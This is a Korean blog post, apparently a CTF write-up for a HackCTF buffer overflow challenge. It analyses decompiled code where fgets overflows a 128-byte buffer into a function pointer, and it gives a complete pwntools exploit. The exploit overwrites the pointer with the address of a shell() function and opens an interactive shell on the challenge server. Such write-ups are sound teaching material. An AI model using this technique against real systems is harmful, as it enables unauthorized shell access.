int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[128]; // [esp+Ch] [ebp-8Ch] BYREF
void (*v5)(void); // [esp+8Ch] [ebp-Ch]
v5 = (void (*)(void))sup;
fgets(buf, 133, stdin);
v5();
return 0;
}
32비트 elf 파일을 ida로 분석하면 위와 같습니다. gdb로 확인하면 buf의 위치는 ebp-0x8c 이고 v5 함수는 ebp-0xc 위치에 있습니다. 따라서 buf와 v5함수는 128만큼의 거리가 있고 fgets로 133까지 입력할 수 있으므로 버퍼오버플로우가 일어나게 된다. 이때 IDA에서 shell을 실행할 수 있는 함수를 찾아보면 dash 쉘을 실행하는 함수를 찾을 수 있다. shell 주소를 v5함수 위치에 덮어씌우면 쉘을 탈취할 수 있다.
int shell()
{
return system("/bin/dash");
}
익스플로잇 코드
#!/usr/bin/python
from pwn import *
context.log_level='debug'
r=remote("ctf.j0n9hyun.xyz",3001)
payload=b"A"*128+b"\x9b\x84\x04\x08"
r.send(payload)
r.interactive()
'시스템 해킹 > CTF' 카테고리의 다른 글
[HackCTF] x64 Buffer Overflow (0) | 2021.09.13 |
---|---|
[HackCTF] 내 버퍼가 흘러넘친다!!! (0) | 2021.09.12 |
[HackCTF] Basic_BOF #1 (0) | 2021.09.10 |
[Square CTF] 6yte (0) | 2021.09.04 |
[Square CTF] Bytes (0) | 2021.09.04 |
댓글